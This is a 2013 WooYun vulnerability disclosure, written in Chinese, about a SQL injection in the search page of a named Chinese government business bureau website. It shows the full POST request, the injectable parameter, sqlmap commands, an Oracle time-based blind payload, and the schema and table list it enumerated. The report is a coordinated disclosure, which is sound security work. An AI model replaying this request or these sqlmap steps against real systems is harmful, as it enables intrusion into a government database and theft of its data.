当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-028364

漏洞标题:某工商管理局搜索页面存在SQL注入漏洞

相关厂商:某工商管理局

漏洞作者: felixk3y

提交时间:2013-07-10 09:10

修复时间:2013-08-24 09:10

公开时间:2013-08-24 09:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-10: 细节已通知厂商并且等待厂商处理中
2013-07-14: 厂商已经确认,细节仅向厂商公开
2013-07-24: 细节向核心白帽子及相关领域专家公开
2013-08-03: 细节向普通白帽子公开
2013-08-13: 细节向实习白帽子公开
2013-08-24: 细节向公众公开

简要描述:

某工商管理局搜索页面存在SQL注入漏洞

详细说明:

注入类型:POST
注入页面:http://www.cdgs.gov.cn/go/mhwz/sreach/sreach_list.go

漏洞证明:

将如下内容保持为 data.txt

POST /go/mhwz/sreach/sreach_list.go HTTP/1.1
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.cdgs.gov.cn/
Cookie: JSESSIONID=186A0342A9D98BE5DBF8C69229BFDB9D; _gscu_914375066=67112861fnwm6x15; _gscs_914375066=671128612b77ox15|pv:1; _gscbrs_914375066=1; gs_tc=; nowskin=6
Host: www.cdgs.gov.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
author=1&end_date=1&order=0&sreach_type=0&start_date=01%2f01%2f1967&title=Mr.&web_id=20


其中post参数end_date存在注入。
直接用sqlmap:
sqlmap.py -r data.txt -p end_date
结果如下:

Place: POST
Parameter: end_date
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: author=1&end_date=1' AND 5701=DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CH
R(73)||CHR(106)||CHR(85),5) AND 'Bznk'='Bznk&order=0&sreach_type=0&start_date=01
/01/1967&title=Mr.&web_id=20
---
[08:56:14] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle


sqlmap.py -r data.txt -p end_date --current-db
结果如下:

web application technology: JSP
back-end DBMS: Oracle
[08:57:29] [INFO] fetching current database
[08:57:29] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[08:57:29] [INFO] read from file 'D:\TOOLS\????\???????\sqlmap\sqlmap1.0\output\
www.cdgs.gov.cn\session': WZ]DBA
current schema (equivalent to database on Oracle): 'WZ]DBA'


sqlmap.py -r data.txt -p end_date --tables -D WZ]DBA
结果如下:

Database: WZ]DBA
[19 tables]
+-------------------------------+
| ACT_INFO |
| ActiveDataFeed |
| CategoryGroup |
| ChicksPass |
| ClickTrack |
| CountryCodes1 |
| CustomNav |
| DataFeedPerformance1 |
| DataFeedPerformance2 |
| DataFeedPerformance2_incoming |
| PRODUTO |
| backenduser |
| db_staff |
| enrollments |
| politics |
| pw_posts |
| pwds |
| spip_types_documents |
| userlist |
+-------------------------------+

修复方案:

你懂的

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-07-14 21:04

厂商回复:

最新状态:

暂无